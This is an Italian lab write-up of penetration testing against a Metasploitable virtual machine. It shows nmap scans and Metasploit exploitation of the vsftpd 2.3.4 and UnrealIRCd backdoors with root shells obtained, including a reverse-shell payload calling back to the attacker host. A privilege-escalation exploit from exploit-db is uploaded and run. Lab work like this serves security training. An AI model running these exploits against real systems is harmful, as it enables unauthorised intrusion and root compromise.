Laboratorio metasploitable

Setup ambiente

Ip meta

```
msfadmin@metasploitable: $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:76:9d:b8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe76:9db8/64 scope link
       valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Attacco a vsftpd

Su msfconsole di kali

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execu
tion


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Imposto l'indirizzo dell'host remoto da attaccare

Poi lancio l'attacco

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:44361 → 192.168.1.149:6200) at 2023-03-06 07:06:55 -0600
```

Provo i comandi

```
pwd
/
```

```
whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:76:9d:b8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe76:9db8/64 scope link
       valid_lft forever preferred_lft forever
```

Creo la cartella e controllo che ci sia

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
gBnb-jY]R.c}
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Exploit di IRC

Nmap di tutti i servizi

```
┌──(alessio㉿kali)-[~]
└─$ sudo nmap -O 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 07:19 CST
Nmap scan report for 192.168.1.149 (192.168.1.149)
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.15 - 2.6.26 (likely embedded), Linux 2.6.29 (Gentoo)
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
```

Vedo la versione di IRC

```
┌──(alessio㉿kali)-[~]
└─$ sudo nmap -p 6667 -sV 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 07:18 CST
Nmap scan report for 192.168.1.149 (192.168.1.149)
Host is up (0.0014s latency).

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
Service Info: Host: irc.Metasploitable.LAN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
```

Da metasploit cerco

```
msf6 > search irc
```

Questo è quello che mi interessa

```
   18  exploit/unix/irc/unreal_ircd_3281_backdoor        2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Back
door Command Execution
```

```
msf6 > use 18
```

Imposto il target

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.149    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
                                      /Using-Metasploit
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.
```

Imposto il payload e l'host locale

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 5
payload => cmd/unix/reverse
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 192.168.50.100
lhost => 192.168.50.100
```

E lancio l'attacco

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 192.168.50.100:4444
[*] 192.168.1.149:6667 - Connected to 192.168.1.149:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Found your hostname (cached)
[*] 192.168.1.149:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo AzhRrapTQ3zVhhQB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "AzhRrapTQ3zVhhQB\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.50.100:4444 -> 192.168.1.149:50344) at 2023-03-06 07:23:38 -0600
```

```
whoami
root
```

```
pwd
/etc/unreal
```

Prova privilege escalation

Scarico

Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)

https://www.exploit-db.com/exploits/33322

Faccio upload da una sessione di vfsptd

```
upload /home/alessio/Downloads/33322.c ./33322.c
[*] Max line length is 65537
[*] Writing 4755 bytes in 1 chunks of 16856 bytes (octal-encoded), using printf
[+] File <./33322.c> upload finished
```

Lo compilo

```
gcc 33322.c
```

```
ls
33322.c
a.out
```

Ha creato il file a.out

```
./a.out
ls
whoami
ls
ls
```

Eseguo e smette di funzionare la shell